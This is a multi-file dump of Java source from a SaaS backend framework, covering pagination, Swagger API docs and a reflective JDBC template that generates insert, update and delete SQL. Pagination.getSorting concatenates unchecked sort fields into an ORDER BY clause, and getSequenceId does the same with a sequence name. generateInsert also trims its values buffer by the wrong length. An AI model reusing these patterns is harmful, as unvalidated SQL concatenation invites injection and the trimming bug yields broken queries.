public Pagination(int pageSize)
{
this(0, pageSize, 1);
}
public Pagination(int recordCount, int pageSize, int currentPage)
{
setRecordCount(recordCount);
setPageSize(pageSize);
setCurrentPage(currentPage);
}
/**
* return the total record
*
* @return the recordCount
*/
public int getRecordCount() {
return recordCount;
}
/**
* @param recordCount the recordCount to set
*/
public void setRecordCount(int recordCount) {
this.recordCount = recordCount>=0 ? recordCount : 0;
}
/**
* return the page size, how many record to display for each page
*
* @return the pageSize
*/
public int getPageSize() {
return pageSize;
}
/**
* @param pageSize the pageSize to set
*/
public void setPageSize(int pageSize) {
this.pageSize = pageSize>0 ? pageSize : PagingConstants.DEFAULT_PAGE_SIZE;
}
/**
* return the current page number, notice it is not the index number
*
* @return the currentPage
*/
public int getCurrentPage() {
return currentPage;
}
/**
* Notice!!!
* Make sure you have set pageSize and recordCount, so that
* the total page number can be calculated, and then we can
* detect the current page can't exceed total page number.
*
* @param currentPage the currentPage to set
*/
public void setCurrentPage(int currentPage) {
//this.currentPage = currentPage<=0 ? 1 : (currentPage>getTotalPageNum() ? getTotalPageNum() : currentPage);
//currentPage must >0
this.currentPage = currentPage>0 ? currentPage : 1;
}
/**
* return the start index to query from database,
* this can be calculated automatically by internal properties.
* formula is (currentPage-1)*pageSize
*
* for example, use if HQL:
* session.createQuery(hql).setFirstResult(page.getStartIndex()).setMaxResults(page.getPageSize()).list();
*
* @return start index to query
*/
public int getStartIndex()
{
return currentPage>0 ? (currentPage - 1) * pageSize : 0;
}
public int getEndIndex()
{
//int supposeEnd = pageSize * currentPage;
//return (supposeEnd > recordCount ? recordCount : supposeEnd) - 1;
//return currentPage>0 ? currentPage * pageSize - 1 : pageSize - 1 ;
return getStartIndex()+ pageSize - 1;
}
public int getStartRow()
{
return getStartIndex() + 1;
}
public int getEndRow()
{
return getEndIndex() + 1 ;
}
/**
* return the total number of page,
* this can be calculated automatically by internal properties.
* formula is (recordCount-1)/pageSize+1
*
* @return total page number
*/
public int getTotalPageNum()
{
return recordCount>0 ? (recordCount - 1) / pageSize + 1 : 0;
}
/**
* Return if the current page is the first one.
*/
public boolean isFirstPage() {
return currentPage == 1;
}
/**
* Return if the current page is the last one.
*/
public boolean isLastPage() {
return currentPage == getTotalPageNum();
}
/**
* Switch to previous page.
* Will stay on first page if already on first page.
*/
public void getPreviousPage() {
if (!isFirstPage()) {
currentPage--;
}
}
/**
* Switch to next page.
* Will stay on last page if already on last page.
*/
public void getNextPage() {
if (!isLastPage()) {
currentPage++;
}
}
/**
* Return the element index of the first element on the current page.
* Element numbering starts with 0.
*/
public int getFirstElementOnPage() {
return (currentPage - 1) * pageSize;
}
/**
* Return the element index of the last element on the current page.
* Element numbering starts with 0.
*/
public int getLastElementOnPage() {
int supposeEnd = pageSize * currentPage;
return (supposeEnd > recordCount ? recordCount : supposeEnd) - 1;
}
public String getSorting() {
if(StringUtil.isNotEmpty(sorting)) {
return sorting;
}else if(StringUtil.isNotEmpty(sortBy)){
return " order by " + underscoreName(sortBy) + " " + sortOrder + " ";
}else{
return "";
}
}
public void setSorting(String sorting) {
this.sorting = sorting;
}
/**
* @return the sortBy
*/
public String getSortBy()
{
return sortBy;
}
/**
* @param sortBy the sortBy to set
*/
public void setSortBy(String sortBy)
{
this.sortBy = sortBy;
}
/**
* @return the sortOrder
*/
public String getSortOrder()
{
return sortOrder;
}
/**
* @param sortOrder the sortOrder to set
*/
public void setSortOrder(String sortOrder)
{
this.sortOrder = sortOrder;
}
private String underscoreName(String name) {
StringBuilder result = new StringBuilder();
if (name != null && name.length() > 0) {
result.append(name.substring(0,1).toLowerCase());
for (int i = 1; i < name.length(); i++) {
String s = name.substring(i, i+1);
if (s.equals(s.toUpperCase())) {
result.append("_");
result.append(s.toLowerCase());
}
else {
result.append(s);
}
}
}
return result.toString();
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/util/NamedParameterObject.java
package com.zhjs.saas.core.util;
import java.util.ArrayList;
import java.util.List;
/**
*
* @author: <NAME>
* @since: 2017-05-19
* @modified: 2017-05-19
* @version:
*/
public class NamedParameterObject {
private String originalInput;
private List<String> parameterNames = new ArrayList<String>();
private List<int[]> parameterIndexes = new ArrayList<int[]>();
private int namedParameterCount;
private int unnamedParameterCount;
private int totalParameterCount;
NamedParameterObject(String originalInput) {
this.originalInput = originalInput;
}
String getOriginalInput() {
return this.originalInput;
}
void addNamedParameter(String parameterName, int startIndex, int endIndex) {
this.parameterNames.add(parameterName);
this.parameterIndexes.add(new int[] {startIndex, endIndex});
}
List<String> getParameterNames() {
return this.parameterNames;
}
int[] getParameterIndexes(int parameterPosition) {
return (int[]) this.parameterIndexes.get(parameterPosition);
}
void setNamedParameterCount(int namedParameterCount) {
this.namedParameterCount = namedParameterCount;
}
int getNamedParameterCount() {
return this.namedParameterCount;
}
void setUnnamedParameterCount(int unnamedParameterCount) {
this.unnamedParameterCount = unnamedParameterCount;
}
int getUnnamedParameterCount() {
return this.unnamedParameterCount;
}
void setTotalParameterCount(int totalParameterCount) {
this.totalParameterCount = totalParameterCount;
}
int getTotalParameterCount() {
return this.totalParameterCount;
}
public String toString() {
return this.originalInput;
}
}
<file_sep>/saas-api-doc/src/main/java/com/zhjs/saas/api/doc/controller/ApiDocController.java
package com.zhjs.saas.api.doc.controller;
import static com.google.common.base.Strings.isNullOrEmpty;
import javax.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.util.UriComponents;
import com.google.common.base.Optional;
import com.google.common.base.Strings;
import com.zhjs.saas.core.annotation.ApiMapping;
import com.zhjs.saas.core.annotation.RestComponent;
import com.zhjs.saas.core.util.WebUtil;
import com.zhjs.saas.core.web.AbstractController;
import io.swagger.models.Swagger;
import springfox.documentation.annotations.ApiIgnore;
import springfox.documentation.service.Documentation;
import springfox.documentation.spring.web.DocumentationCache;
import springfox.documentation.spring.web.json.Json;
import springfox.documentation.spring.web.json.JsonSerializer;
import springfox.documentation.spring.web.plugins.Docket;
import springfox.documentation.swagger2.mappers.ServiceModelToSwagger2Mapper;
/**
*
* @author: <NAME>
* @since: 2018-03-05
* @modified: 2018-03-05
* @version:
*/
@RestComponent(namespace = "${saas.docs.path}")
@ApiIgnore
public class ApiDocController extends AbstractController
{
@Value("${springfox.documentation.swagger.v2.host:DEFAULT}")
private String hostNameOverride;
private DocumentationCache documentationCache;
private ServiceModelToSwagger2Mapper mapper;
private JsonSerializer jsonSerializer;
@ApiMapping("docs.api.list")
public ResponseEntity<Json> getDocumentation(@RequestParam(value = "group", required = false) String swaggerGroup,
HttpServletRequest servletRequest)
{
String groupName = Optional.fromNullable(swaggerGroup).or(Docket.DEFAULT_GROUP_NAME);
Documentation documentation = documentationCache.documentationByGroup(groupName);
if (documentation == null)
{
return new ResponseEntity<Json>(HttpStatus.NOT_FOUND);
}
Swagger swagger = mapper.mapDocumentation(documentation);
UriComponents uriComponents = WebUtil.componentsFrom(servletRequest, swagger.getBasePath());
swagger.basePath(Strings.isNullOrEmpty(uriComponents.getPath()) ? "/" : uriComponents.getPath());
if (isNullOrEmpty(swagger.getHost()))
{
swagger.host(hostName(uriComponents));
}
return new ResponseEntity<Json>(jsonSerializer.toJson(swagger), HttpStatus.OK);
}
private String hostName(UriComponents uriComponents)
{
if ("DEFAULT".equals(hostNameOverride))
{
String host = uriComponents.getHost();
int port = uriComponents.getPort();
if (port > -1)
{
return String.format("%s:%d", host, port);
}
return host;
}
return hostNameOverride;
}
}
<file_sep>/saas-api-doc/src/main/java/com/zhjs/saas/api/doc/config/ApiDocConfig.java
package com.zhjs.saas.api.doc.config;
import java.util.ArrayList;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.env.Environment;
import org.springframework.web.context.request.async.DeferredResult;
import com.zhjs.saas.api.doc.controller.ApiDocController;
import io.swagger.annotations.ApiOperation;
import springfox.documentation.builders.RequestHandlerSelectors;
import springfox.documentation.service.ApiInfo;
import springfox.documentation.service.Contact;
import springfox.documentation.service.VendorExtension;
import springfox.documentation.spi.DocumentationType;
import springfox.documentation.spring.web.plugins.Docket;
import springfox.documentation.swagger2.annotations.EnableSwagger2;
/**
*
* @author: <NAME>
* @since: 2018-03-03
* @modified: 2018-03-03
* @version:
*/
@Configuration
@EnableSwagger2
public class ApiDocConfig
{
@Value("${saas.docs.platform-name}")
private String title;
@Value("${saas.docs.description}")
private String description;
@Value("${saas.docs.version}")
private String version;
@Value("${saas.docs.terms}")
private String terms;
@Value("${saas.docs.author}")
private String author;
@Value("${saas.docs.url}")
private String url;
@Value("${saas.docs.email}")
private String email;
@Value("${saas.docs.license}")
private String license;
@Value("${saas.docs.license-url}")
private String licenseUrl;
@Autowired
private Environment env;
@Bean
public Docket ProductApi()
{
return new Docket(DocumentationType.SWAGGER_2).genericModelSubstitutes(DeferredResult.class)
.useDefaultResponseMessages(false).forCodeGeneration(false).pathMapping("/")
.select().apis(RequestHandlerSelectors.withMethodAnnotation(ApiOperation.class)).build()
.apiInfo(productApiInfo());
}
private ApiInfo productApiInfo()
{
ApiInfo apiInfo = new ApiInfo(title, description, version, terms, new Contact(author,url,email), license, licenseUrl,
new ArrayList<VendorExtension>());
return apiInfo;
}
public ApiDocController apiDocController()
{
return new ApiDocController();
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/dao/CommonNamedParameterJdbcTemplate.java
package com.zhjs.saas.core.dao;
import java.beans.PropertyDescriptor;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.sql.CallableStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import javax.persistence.Column;
import javax.persistence.Id;
import javax.persistence.SequenceGenerator;
import javax.persistence.Table;
import javax.sql.DataSource;
import org.hibernate.collection.spi.PersistentCollection;
import org.springframework.dao.DataAccessException;
import org.springframework.dao.EmptyResultDataAccessException;
import org.springframework.jdbc.core.BeanPropertyRowMapper;
import org.springframework.jdbc.core.CallableStatementCreator;
import org.springframework.jdbc.core.CallableStatementCreatorFactory;
import org.springframework.jdbc.core.ColumnMapRowMapper;
import org.springframework.jdbc.core.JdbcOperations;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.core.ResultSetSupportingSqlParameter;
import org.springframework.jdbc.core.RowCallbackHandler;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.jdbc.core.RowMapperResultSetExtractor;
import org.springframework.jdbc.core.SqlOutParameter;
import org.springframework.jdbc.core.SqlParameter;
import org.springframework.jdbc.core.SqlReturnResultSet;
import org.springframework.jdbc.core.SqlReturnUpdateCount;
import org.springframework.jdbc.core.namedparam.BeanPropertySqlParameterSource;
import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate;
import org.springframework.jdbc.core.namedparam.SqlParameterSource;
import org.springframework.jdbc.support.JdbcUtils;
import org.springframework.util.LinkedCaseInsensitiveMap;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
import com.zhjs.saas.core.pojo.BaseObject;
import com.zhjs.saas.core.util.BeanUtil;
import com.zhjs.saas.core.util.NamedParameterObject;
import com.zhjs.saas.core.util.NamedParameterUtil;
import com.zhjs.saas.core.util.PropertiesLoaderUtil;
import com.zhjs.saas.core.util.StringUtil;
/**
* @author: <NAME>
* @since: 2017-05-19
* @modified: 2017-05-19
* @version:
*/
public class CommonNamedParameterJdbcTemplate extends NamedParameterJdbcTemplate {
private Logger logger = LoggerFactory.getLogger(getClass());
private static final String RETURN_RESULT_SET_PREFIX = "#result-set-";
private static final String RETURN_UPDATE_COUNT_PREFIX = "#update-count-";
public CommonNamedParameterJdbcTemplate(DataSource dataSource) {
super(dataSource);
}
public CommonNamedParameterJdbcTemplate(JdbcOperations classicJdbcTemplate) {
super(classicJdbcTemplate);
}
private String underscoreName(String name) {
StringBuilder result = new StringBuilder();
if (name != null && name.length() > 0) {
result.append(name.substring(0,1).toLowerCase());
for (int i = 1; i < name.length(); i++) {
String s = name.substring(i, i+1);
if (s.equals(s.toUpperCase())) {
result.append("_");
result.append(s.toLowerCase());
}
else {
result.append(s);
}
}
}
return result.toString();
}
private void mapping(Class<?> clazz, Map<String,String> mappedFields)
{//SequenceGenerator
PropertyDescriptor[] pds = BeanUtil.getPropertyDescriptors(clazz);
for (PropertyDescriptor pd : pds) {
Column annotation;
Field field;
try
{
field = clazz.getDeclaredField(pd.getName());
}
catch (Exception e)
{
continue;
}
if(!field.isAnnotationPresent(Column.class))
continue;
annotation = field.getAnnotation(Column.class);
if(StringUtil.isNotEmpty(annotation.name()))
{
mappedFields.put(annotation.name(), pd.getName());
continue;
}
Class<?> type = pd.getPropertyType();
if (pd.getWriteMethod()!=null && pd.getReadMethod()!=null
&& !Class.class.isAssignableFrom(type)
&& !BaseObject.class.isAssignableFrom(type)
&& !Collection.class.isAssignableFrom(type)
&& !org.hibernate.mapping.Collection.class.isAssignableFrom(type)
&& !PersistentCollection.class.isAssignableFrom(type)) {
//mappedFields.put(pd.getName().toLowerCase(), pd);
//mappedFields.put(pd.getName().toLowerCase(), pd.getName());
String underscoredName = underscoreName(pd.getName());
//if (!pd.getName().toLowerCase().equals(underscoredName)) {
//mappedFields.put(underscoredName, pd);
mappedFields.put(underscoredName, pd.getName());
//}
}
}
}
private String generateDelete(String tblName, String idField, Object entity, Map<String,String> mappedFields)
{
String idColumn = "";
for(String column : mappedFields.keySet())
{
if(mappedFields.get(column).equals(idField))
{
idColumn = column;
break;
}
}
StringBuilder sqlCmd = new StringBuilder("delete from ");
sqlCmd.append(tblName).append(" where ").append(idColumn).append("=:").append(idField);
String sql = sqlCmd.toString();
logger.info("deleteObject==> " + sql);
return sql;
}
private String generateUpdate(String tblName, String idField, Object entity, Map<String,String> mappedFields)
{
StringBuilder sqlCmd = new StringBuilder("update ");
sqlCmd.append(tblName).append(" set ");
String idColumn = "";
for(String column : mappedFields.keySet())
{
String field = mappedFields.get(column);
if(!field.equals(idField))
{
sqlCmd.append(column).append("=");
sqlCmd.append(":").append(field).append(", ");
}
else
idColumn = column;
}
sqlCmd.delete(sqlCmd.length()-2,sqlCmd.length());
sqlCmd.append(" where ").append(idColumn).append("=:").append(idField);
String sql = sqlCmd.toString();
logger.info("updateObject==> " + sql);
return sql;
}
private String generateInsert(String tblName, Object entity, Map<String,String> mappedFields)
{
//BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(entity);
StringBuilder column = new StringBuilder(" (");
StringBuilder values = new StringBuilder(" (");
for(String field : mappedFields.keySet())
{
column.append(field).append(", ");
//values.append(bw.getPropertyValue(mappedFields.get(field).getName()));
values.append(":").append(mappedFields.get(field)).append(", ");
}
column.delete(column.length()-2,column.length()).append(") ");
values.delete(values.length()-2,column.length()).append(") ");
String sql = "insert into " + tblName + column.toString() + "values" + values.toString();
logger.info("insertObject==> " + sql);
return sql;
}
/**
* @param <T>
* @param entity
* @return
* @throws TableUndefinedException
*/
private <T extends BaseObject> String analysisTable(T entity) throws TableUndefinedException {
String tblName;
Class<?> type = entity.getClass();
if(type.isAnnotationPresent(Table.class))
{
tblName = type.getAnnotation(Table.class).name();
}
else
throw new TableUndefinedException("The @Table annotation and table name must be defined in the "+type.getSimpleName()+" class.");
if(StringUtil.isEmpty(tblName))
throw new TableUndefinedException("Table name must be set in @Table annotation in "+type.getSimpleName()+" class.");
return tblName;
}
private <T extends BaseObject> String analysisIdColumn(T entity) throws TableUndefinedException {
String idField = "";
Class<?> type = entity.getClass();
// the best way to get property should use BeanUtil.getPropertyDescriptors(class),
// because it can return all super class's properties by hierarchy.
Field[] fields = type.getDeclaredFields();
for(Field field : fields)
{
/*if(field.isAnnotationPresent(Column.class) && field.isAnnotationPresent(Id.class))
{
idField = field.getAnnotation(Column.class).name();
break;
}*/
if(field.isAnnotationPresent(Id.class))
{
idField = underscoreName(field.getName());
break;
}
}
if(StringUtil.isEmpty(idField))
throw new TableUndefinedException("The @Id annotation for identity must be defined in the "+type.getSimpleName()+" class.");
return idField;
}
/**
* get sequence for jdbc
* @param sqName sequence name
* @return
*/
public Long getSequenceId(String sqName) throws TableUndefinedException {
StringBuilder strSql = new StringBuilder();
strSql.append(" SELECT "+sqName+".NEXTVAL");
strSql.append(" FROM DUAL");
Long Id = this.getJdbcOperations().queryForObject(strSql.toString(), Long.class);
if(Id<=0)
throw new TableUndefinedException("Wrong value for sequence is generated, as the value is less then 1.");
return Id;
}
private <T extends BaseObject> String analysisId(T entity) throws TableUndefinedException {
return this.analysisId(entity, true);
}
/**
* @param <T>
* @param entity
* @return
* @throws TableUndefinedException
*/
private <T extends BaseObject> String analysisId(T entity, boolean generateValue) throws TableUndefinedException {
String idField = "";
Class<?> type = entity.getClass();
// the best way to get property should use BeanUtil.getPropertyDescriptors(class),
// because it can return all super class's properties by hierarchy.
Field[] fields = type.getDeclaredFields();
for(Field field : fields)
{
if(field.isAnnotationPresent(Id.class))
{
idField = field.getName();
if(generateValue)
if(field.isAnnotationPresent(SequenceGenerator.class))
{
field.setAccessible(true);
Long id = getSequenceId(field.getAnnotation(SequenceGenerator.class).sequenceName());
try {
field.set(entity, id);
} catch (Exception e) {
e.printStackTrace();
throw new TableUndefinedException("Error occurred when @SequenceGenerator set value to "+type.getSimpleName()+" class.");
}
}
else
throw new TableUndefinedException("The @SequenceGenerator annotation for sequence value generating" +
" must be defined in the "+type.getSimpleName()+" class.");
break;
}
}
if(StringUtil.isEmpty(idField))
throw new TableUndefinedException("The @Id annotation for identity must be defined in the "+type.getSimpleName()+" class.");
return idField;
}
public <T extends BaseObject> void deleteObject(T entity) throws DataAccessException
{
String tblName = analysisTable(entity);
String idField = analysisId(entity, false);
deleteObject(entity, tblName, idField);
}
public int deleteObject(BaseObject entity, String tblName, String idField) throws DataAccessException
{
Map<String,String> mappedFields = new HashMap<String,String>();
mapping(entity.getClass(), mappedFields);
String sql = generateDelete(tblName, idField, entity, mappedFields);
return this.update(sql, new BeanPropertySqlParameterSource(entity));
}
/**
* only single table update is support for now.
*
* @param <T>
* @param entity
* @param tblName
* @return entity if save successfully, otherwise return null
*/
public <T extends BaseObject> T updateObject(T entity) throws DataAccessException
{
String tblName = analysisTable(entity);
String idField = analysisId(entity, false);
return updateObject(entity, tblName, idField);
}
/**
* only single table update is support for now.
*
* @param <T>
* @param entity
* @param tblName
* @return entity if save successfully, otherwise return null
*/
public <T extends BaseObject> T updateObject(T entity, String tblName, String idField) throws DataAccessException
{
/*Map<String,String> mappedFields = new HashMap<String,String>();
mapping(entity.getClass(), mappedFields);
String sql = generateUpdate(tblName, idField, entity, mappedFields);
int result = this.update(sql, new BeanPropertySqlParameterSource(entity));
return result>0?entity:null;*/
int result = this.modifyObject(entity, tblName, idField);
return result>0?entity:null;
}
public <T extends BaseObject> int modifyObject(T entity, String tblName, String idField) throws DataAccessException
{
Map<String,String> mappedFields = new HashMap<String,String>();
mapping(entity.getClass(), mappedFields);
String sql = generateUpdate(tblName, idField, entity, mappedFields);
return this.update(sql, new BeanPropertySqlParameterSource(entity));
}
/**
* only single table insert is support for now.
*
* @param <T>
* @param entity
* @param tblName
* @return entity if save successfully, otherwise return null
*/
public <T extends BaseObject> T saveObject(T entity) throws DataAccessException
{
String tblName = analysisTable(entity);
analysisId(entity);
return saveObject(entity, tblName);
}
/**
* only single table insert is support for now.
*
* @param <T>
* @param entity
* @param tblName
* @return entity if save successfully, otherwise return null
*/
public <T extends BaseObject> T saveObject(T entity, String tblName) throws DataAccessException
{
/*Map<String,String> mappedFields = new HashMap<String,String>();
mapping(entity.getClass(), mappedFields);
String sql = generateInsert(tblName, entity, mappedFields);
int result = this.update(sql, new BeanPropertySqlParameterSource(entity));
return result>0?entity:null;*/
int result = this.insertObject(entity, tblName);
return result>0?entity:null;
}
public int insertObject(BaseObject entity, String tblName) throws DataAccessException
{
Map<String,String> mappedFields = new HashMap<String,String>();
mapping(entity.getClass(), mappedFields);
String sql = generateInsert(tblName, entity, mappedFields);
return this.update(sql, new BeanPropertySqlParameterSource(entity));
}
public <T extends BaseObject> T loadObject(Class<T> entityClass, Serializable pk) throws DataAccessException
{
T entity = BeanUtil.instantiateClass(entityClass);
String tblName = analysisTable(entity);
String idField = analysisId(entity, false);
String column = analysisIdColumn(entity);
Map<String,Serializable> paramMap = new HashMap<String,Serializable>();
paramMap.put(idField, pk);
String sql = "select * from " + tblName + " where " + column + " =:" + idField;
try
{
entity = (T)this.queryForObject(sql, paramMap, new BeanPropertyRowMapper<T>(entityClass));
}
catch(EmptyResultDataAccessException e)
{
return null;
}
return entity;
}
public Map<String,?> call(String sql, SqlParameterSource paramSource) throws DataAccessException
{
return this.queryForMap(sql, paramSource);
}
public List<Map<String, Object>> callForList(String sql, SqlParameterSource paramSource) throws DataAccessException
{
return this.queryForList(sql, paramSource);
}
public Map<String,?> call(String sql, SqlParameterSource inParameters, Map<String,Class<?>> outParameters) throws DataAccessException
{
return this.callProcedure(sql, inParameters, new ParamWrapper(outParameters));
}
public <T extends BaseObject> T call(String sql, SqlParameterSource inParameters, Class<T> outType)
throws DataAccessException
{
return BeanUtil.dataToBean(callProcedure(sql, inParameters, new ParamWrapper(outType)), outType);
}
public <T extends BaseObject> Map<String,?> callProcedure(String sql, SqlParameterSource inParameters, ParamWrapper outWrapper)
throws DataAccessException
{
NamedParameterObject parsedSql = PropertiesLoaderUtil.parseToNamedString(sql);
String sqlToUse = NamedParameterUtil.parseNamedParameters(parsedSql, inParameters);
Object[] params = NamedParameterUtil.buildProcedureValueArray(parsedSql, inParameters, null);
List<SqlParameter> declaredParameters = NamedParameterUtil.buildProcedureParameterList(parsedSql, inParameters, outWrapper);
CallableStatementCreatorFactory cscf = new CallableStatementCreatorFactory(sqlToUse, declaredParameters);
cscf.setResultSetType(ResultSet.TYPE_SCROLL_SENSITIVE);
Map<String,Object> paramMap = new HashMap<>();
for(int i=0; i<params.length; i++)
{
paramMap.put(declaredParameters.get(i).getName(), params[i]);
}
final List<SqlParameter> updateCountParameters = new ArrayList<SqlParameter>();
final List<SqlParameter> resultSetParameters = new ArrayList<SqlParameter>();
final List<SqlParameter> callParameters = new ArrayList<SqlParameter>();
for (SqlParameter parameter : declaredParameters) {
if (parameter.isResultsParameter()) {
if (parameter instanceof SqlReturnResultSet) {
resultSetParameters.add(parameter);
}
else {
updateCountParameters.add(parameter);
}
}
else {
callParameters.add(parameter);
}
}
return getJdbcOperations().execute(cscf.newCallableStatementCreator(paramMap), cs -> {
boolean retVal = cs.execute();
int updateCount = cs.getUpdateCount();
logger.debug("CallableStatement.execute() returned '{}'", retVal);
logger.debug("CallableStatement.getUpdateCount() returned {}", updateCount);
Map<String, Object> returnedResults = createResultsMap();
if (retVal || updateCount != -1) {
returnedResults.putAll(extractReturnedResults(cs, updateCountParameters, resultSetParameters, updateCount));
}
returnedResults.putAll(extractOutputParameters(cs, callParameters));
/*
ResultSet rsToUse = cs.getResultSet();
return DataAccessUtils.requiredSingleResult(
new RowMapperResultSetExtractor<T>(new BeanPropertyRowMapper<T>(classType)).extractData(rsToUse));*/
return returnedResults;
});
//return BeanUtil.dataToBean(getJdbcOperations().call(cscf.newCallableStatementCreator(paramMap), declaredParameters), classType);
}
protected <T extends BaseObject> CallableStatementCreator getProcedurePreparedStatementCreator(
String sql, SqlParameterSource paramSource, Class<T> classType)
{
NamedParameterObject parsedSql = PropertiesLoaderUtil.parseToNamedString(sql);
String sqlToUse = NamedParameterUtil.parseNamedParameters(parsedSql, paramSource);
Object[] params = NamedParameterUtil.buildProcedureValueArray(parsedSql, paramSource, null);
List<SqlParameter> declaredParameters = NamedParameterUtil.buildProcedureParameterList(parsedSql, paramSource, new ParamWrapper(classType));
CallableStatementCreatorFactory cscf = new CallableStatementCreatorFactory(sqlToUse, declaredParameters);
Map<String,Object> paramMap = new HashMap<>();
for(int i=0; i<params.length; i++)
{
paramMap.put(declaredParameters.get(i).getName(), params[i]);
}
return cscf.newCallableStatementCreator(paramMap);
}
protected Map<String, Object> createResultsMap() {
if (((JdbcTemplate)this.getJdbcOperations()).isResultsMapCaseInsensitive()) {
return new LinkedCaseInsensitiveMap<Object>();
}
else {
return new LinkedHashMap<String, Object>();
}
}
/**
* Extract returned ResultSets from the completed stored procedure.
* @param cs JDBC wrapper for the stored procedure
* @param updateCountParameters Parameter list of declared update count parameters for the stored procedure
* @param resultSetParameters Parameter list of declared resultSet parameters for the stored procedure
* @return Map that contains returned results
*/
protected Map<String, Object> extractReturnedResults(CallableStatement cs,
List<SqlParameter> updateCountParameters, List<SqlParameter> resultSetParameters, int updateCount)
throws SQLException {
Map<String, Object> returnedResults = new HashMap<String, Object>();
int rsIndex = 0;
int updateIndex = 0;
boolean moreResults;
if (!((JdbcTemplate)this.getJdbcOperations()).isSkipResultsProcessing()) {
do {
if (updateCount == -1) {
if (resultSetParameters != null && resultSetParameters.size() > rsIndex) {
SqlReturnResultSet declaredRsParam = (SqlReturnResultSet) resultSetParameters.get(rsIndex);
returnedResults.putAll(processResultSet(cs.getResultSet(), declaredRsParam));
rsIndex++;
}
else {
if (!((JdbcTemplate)this.getJdbcOperations()).isSkipUndeclaredResults()) {
String rsName = RETURN_RESULT_SET_PREFIX + (rsIndex + 1);
SqlReturnResultSet undeclaredRsParam = new SqlReturnResultSet(rsName, new ColumnMapRowMapper());
if (logger.isDebugEnabled()) {
logger.debug("Added default SqlReturnResultSet parameter named '" + rsName + "'");
}
returnedResults.putAll(processResultSet(cs.getResultSet(), undeclaredRsParam));
rsIndex++;
}
}
}
else {
if (updateCountParameters != null && updateCountParameters.size() > updateIndex) {
SqlReturnUpdateCount ucParam = (SqlReturnUpdateCount) updateCountParameters.get(updateIndex);
String declaredUcName = ucParam.getName();
returnedResults.put(declaredUcName, updateCount);
updateIndex++;
}
else {
if (!((JdbcTemplate)this.getJdbcOperations()).isSkipUndeclaredResults()) {
String undeclaredName = RETURN_UPDATE_COUNT_PREFIX + (updateIndex + 1);
if (logger.isDebugEnabled()) {
logger.debug("Added default SqlReturnUpdateCount parameter named '" + undeclaredName + "'");
}
returnedResults.put(undeclaredName, updateCount);
updateIndex++;
}
}
}
moreResults = cs.getMoreResults();
updateCount = cs.getUpdateCount();
if (logger.isDebugEnabled()) {
logger.debug("CallableStatement.getUpdateCount() returned " + updateCount);
}
}
while (moreResults || updateCount != -1);
}
return returnedResults;
}
/**
* Extract output parameters from the completed stored procedure.
* @param cs JDBC wrapper for the stored procedure
* @param parameters parameter list for the stored procedure
* @return Map that contains returned results
*/
protected Map<String, Object> extractOutputParameters(CallableStatement cs, List<SqlParameter> parameters)
throws SQLException {
Map<String, Object> returnedResults = new HashMap<String, Object>();
int sqlColIndex = 1;
for (SqlParameter param : parameters) {
if (param instanceof SqlOutParameter) {
SqlOutParameter outParam = (SqlOutParameter) param;
if (outParam.isReturnTypeSupported()) {
Object out = outParam.getSqlReturnType().getTypeValue(
cs, sqlColIndex, outParam.getSqlType(), outParam.getTypeName());
returnedResults.put(outParam.getName(), out);
}
else {
Object out = cs.getObject(sqlColIndex);
if (out instanceof ResultSet) {
if (outParam.isResultSetSupported()) {
returnedResults.putAll(processResultSet((ResultSet) out, outParam));
}
else {
String rsName = outParam.getName();
SqlReturnResultSet rsParam = new SqlReturnResultSet(rsName, new ColumnMapRowMapper());
returnedResults.putAll(processResultSet((ResultSet) out, rsParam));
if (logger.isDebugEnabled()) {
logger.debug("Added default SqlReturnResultSet parameter named '" + rsName + "'");
}
}
}
else {
returnedResults.put(outParam.getName(), out);
}
}
}
if (!(param.isResultsParameter())) {
sqlColIndex++;
}
}
return returnedResults;
}
/**
* Process the given ResultSet from a stored procedure.
* @param rs the ResultSet to process
* @param param the corresponding stored procedure parameter
* @return Map that contains returned results
*/
@SuppressWarnings({ "unchecked", "rawtypes" })
protected Map<String, Object> processResultSet(ResultSet rs, ResultSetSupportingSqlParameter param) throws SQLException {
if (rs == null) {
return Collections.emptyMap();
}
Map<String, Object> returnedResults = new HashMap<String, Object>();
try {
ResultSet rsToUse = rs;
if (param.getRowMapper() != null) {
RowMapper rowMapper = param.getRowMapper();
Object result = (new RowMapperResultSetExtractor(rowMapper)).extractData(rsToUse);
returnedResults.put(param.getName(), result);
}
else if (param.getRowCallbackHandler() != null) {
RowCallbackHandler rch = param.getRowCallbackHandler();
while (rsToUse.next()) {
rch.processRow(rsToUse);
}
returnedResults.put(param.getName(), "ResultSet returned from stored procedure was processed");
}
else if (param.getResultSetExtractor() != null) {
Object result = param.getResultSetExtractor().extractData(rsToUse);
returnedResults.put(param.getName(), result);
}
}
finally {
JdbcUtils.closeResultSet(rs);
}
return returnedResults;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/dao/AbstractDao.java
package com.zhjs.saas.core.dao;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Type;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Set;
import java.util.regex.Pattern;
import javax.persistence.Id;
import org.apache.commons.beanutils.PropertyUtils;
import org.hibernate.Hibernate;
import org.hibernate.HibernateException;
import org.hibernate.Query;
import org.hibernate.collection.spi.PersistentCollection;
import org.hibernate.criterion.DetachedCriteria;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.core.convert.converter.ConverterRegistry;
